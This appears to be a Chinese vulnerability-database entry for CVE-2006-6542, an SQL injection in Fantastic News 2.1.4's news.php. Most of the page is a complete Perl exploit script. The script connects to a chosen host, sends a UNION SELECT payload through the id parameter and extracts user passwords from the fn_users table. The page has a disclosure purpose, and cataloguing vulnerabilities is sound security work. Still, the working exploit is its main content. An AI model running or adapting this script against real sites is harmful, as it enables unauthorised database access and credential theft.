Fantastic News 'news.php'SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111746 漏洞类型 SQL注入
发布时间 2006-12-09 更新时间 2006-12-13
CVE编号 CVE-2006-6542 CNNVD-ID CNNVD-200612-304
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2906
https://www.securityfocus.com/bid/82194
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-304
|漏洞详情
FantasticNews2.1.4及更早版本的news.php中存在SQL注入漏洞,远程攻击者可以通过id参数执行任意SQL命令。
|漏洞EXP
#!perl
#Download:http://fscripts.com/download.php?file=1
use IO::Socket;
#dc3.dl.am
if (@ARGV<3) {
&header;
} else {
&get();
}
sub get() {
$host=$ARGV[0];
$path=$ARGV[1];
  $id=$ARGV[2];
$socket=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>80)
or die ("[-]Error\n");
print "[~]Connecting!\n";
print "[~]Getting Data!\n";
print $socket "GET
".$path."/news.php?action=profile&id=-1%20UNION%20SELECT%201,2,3,4,5,password,1,2,3,4,5,6,7,8,9%20FROM%20fn_users%20WHERE%20user_id=".$id."/*
HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($ans=<$socket>) {
$ans=~ m/<td>(.*?)<\/td>/ && print
"--------------------------------------------\n[+]UserName:
$1\n[+]PassWord:";
if ($1) {
$success=1; } else { $success=0;};
}
if ($success=="1") {
print "\n[+]Successed!";
 } else {
print "[-]Error";
   }
 }
sub header() {
print "\n";
print "#######################################\n";
print "#                                     #\n";
print "#            #  #####   #####         #\n";
print "#            #  #           #         #\n";
print "#         ####  #         ###         #\n";
print "#         #  #  #           #         #\n";
print "#         ####  #####   #####         #\n";
print "#                                     #\n";
print "#      fscripts.pl host /path/ 1      #\n";
print "#                                     #\n";
print "#######################################\n";
print "\n";
exit;
}
#dc3.dl.am
#---------------------
#bY dC³ - Crew ...

# milw0rm.com [2006-12-09]
|受影响的产品
Fantastic News Fantastic News 2.1.4
|参考资料

来源:XF
名称:fantasticnews-id-sql-injection(30834)
链接:http://xforce.iss.net/xforce/xfdb/30834
来源:MILW0RM
名称:2906
链接:http://www.milw0rm.com/exploits/2906
来源:VUPEN
名称:ADV-2006-4931
链接:http://www.frsirt.com/english/advisories/2006/4931
来源:MILW0RM
名称:2906
链接:http://milw0rm.com/exploits/2906